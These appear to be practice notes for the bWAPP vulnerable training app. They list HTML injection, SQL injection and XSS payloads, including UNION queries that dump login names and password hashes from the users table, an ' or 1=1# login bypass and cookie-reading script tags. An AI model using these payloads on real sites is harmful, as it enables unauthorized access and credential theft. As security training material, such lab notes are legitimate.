HTML Injection - Reflected (GET)

<h1> hello </h1>   #use this in both first and last name. It’ll show html version on the web page means html injection vulnerable.

HTML Injection - Reflected (POST)

<a href="http://www.google.com">Click </a>   #use this in both first and last name. It’ll show click and redirect to google.com means html injection vulnerable.

HTML Injection - Reflected (URL)

Your current URL: http://localhost/bWAPP/htmli_current_url.php
For this we have to use burp suite. In burp if we intercept and change the host name with another string it’ll show it on the webpage.

Your current URL: http://hello/bWAPP/htmli_current_url.php

SQL Injection (GET/Search)

Steps:

1) Add ‘ in the search box it will give sql error.
2) Now we’ve to find how many columns
   man’ order by 9 – - (shows error)
   man’ order by 8 – - (error)
   Man’ order by 7 – - (No error) means 7 columns
3) man’ union select 1,2,3,4,5,6,7– – (Only four columns—2, 3, 4 and 5—can be used to obtain data from other tables.)
4) Man’ union select 1,user(),database(),4,5,6,7-- -
5) man’ union select 1,user(),database(),(select GROUP_CONCAT(table_name,'\n') from information_schema.tables where table_type='BASE TABLE'),version(),6,7-- -
6) union select 1,user(),database(),(select GROUP_CONCAT(column_name,'\n') from information_schema.columns where table_name='users'),version(),6,7-- -
7) union select 1,user(),database(),(select GROUP_CONCAT(login,":",password,"\n") from users),version(),6,7-- - (this will retrieve the login and pass)
8) Result:
   A.I.M.: 6885858486f31043e5839c735d99457f045affd0,
   bee: 6885858486f31043e5839c735d99457f045affd0

SQL Injection (GET/Select)

sqli_2.php?movie=1 and 1=2#&action=go

sqli_2.php?movie=1 union select 1,2,3,4,5,6#&action=go

http://localhost/bWAPP/sqli_2.php?movie=1000%20union%20select%201,2,3,4,5,6,7#&action=go

http://localhost/bWAPP/sqli_2.php?movie=1000 union select 1,login,3,email,password,6,7 from users#&action=go

SQL Injection (Login Form/Hero)

At first use ‘ in login to check sql error.

iN login field use different sql credentials.
' or 1=1# this worked for me. Password field was empty but it worked.

XSS - Reflected (GET)

<script>alert(document.cookie)</script>

XSS - Reflected (POST)

<script>alert(document.cookie)</script>

XSS - Reflected (JSON)

"}]}';prompt(0)</script>